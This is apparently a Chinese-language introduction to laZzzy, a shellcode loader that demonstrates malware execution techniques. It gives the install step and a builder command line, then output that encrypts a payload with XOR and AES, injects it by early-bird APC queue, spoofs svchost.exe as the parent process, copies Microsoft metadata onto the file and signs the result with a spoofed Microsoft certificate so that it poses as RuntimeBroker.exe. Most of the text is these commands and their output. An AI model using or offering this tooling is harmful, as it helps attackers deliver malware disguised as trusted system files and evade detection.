0x01 工具介绍
laZzzy 是一个 shellcode 加载程序,它演示了恶意软件通常采用的不同执行技术。laZzzy 是使用不同的开源头文件库开发的。
0x02 安装与使用
python3 -m pip install -r requirements.txtbuilder.py并提供必要的数据。(venv) PS C:\MalDev\laZzzy> python3 .\builder.py -s .\calc.bin -p CaptMeelo -m 1 -pp explorer.exe -sp C:\\Windows\\System32\\notepad.exe -d www.microsoft.com -b C:\\Windows\\System32\\mmc.exe⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⣤⠀⢀⣼⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠀⠀⢀⣀⣀⡀⠀⠀⠀⢀⣀⣀⣀⣀⣀⡀⠀⢀⣼⡿⠁⠀⠛⠛⠒⠒⢀⣀⡀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⣰⣾⠟⠋⠙⢻⣿⠀⠀⠛⠛⢛⣿⣿⠏⠀⣠⣿⣯⣤⣤⠄⠀⠀⠀⠀⠈⢿⣷⡀⠀⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⣿⣯⠀⠀⠀⢸⣿⠀⠀⠀⣠⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⣧⣰⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠀⠀⠙⠿⣷⣦⣴⢿⣿⠄⢀⣾⣿⣿⣶⣶⣶⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀by: CaptMeelo⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀[+] XOR-encrypting payload with[*] Key: d3b666606468293dfa21ce2ff25e86f6[+] AES-encrypting payload with[*] IV: f96312f17a1a9919c74b633c5f861fe5[*] Key: 6c9656ed1bc50e1d5d4033479e742b4b8b2a9b2fc81fc081fc649e3fb4424fec[+] Modifying template using[*] Technique: Early-bird APC Queue[*] Process to inject: None[*] Process to spawn: C:\\Windows\\System32\\RuntimeBroker.exe[*] Parent process to spoof: svchost.exe[+] Spoofing metadata[*] Binary: C:\\Windows\\System32\\RuntimeBroker.exe[*] CompanyName: Microsoft Corporation[*] FileDescription: Runtime Broker[*] FileVersion: 10.0.22621.608 (WinBuild.160101.0800)[*] InternalName: RuntimeBroker.exe[*] LegalCopyright: © Microsoft Corporation. All rights reserved.[*] OriginalFilename: RuntimeBroker.exe[*] ProductName: Microsoft® Windows® Operating System[*] ProductVersion: 10.0.22621.608[+] Compiling project[*] Compiled executable: C:\MalDev\laZzzy\loader\x64\Release\laZzzy.exe[+] Signing binary with spoofed cert[*] Domain: www.microsoft.com[*] Version: 2[*] Serial: 33:00:59:f8:b6:da:86:89:70:6f:fa:1b:d9:00:00:00:59:f8:b6[*] Subject: /C=US/ST=WA/L=Redmond/O=Microsoft Corporation/CN=www.microsoft.com[*] Issuer: /C=US/O=Microsoft Corporation/CN=Microsoft Azure TLS Issuing CA 06[*] Not Before: October 04 2022[*] Not After: September 29 2023[*] PFX file: C:\MalDev\laZzzy\output\www.microsoft.com.pfx[+] All done![*] Output file: C:\MalDev\laZzzy\output\RuntimeBroker.exe
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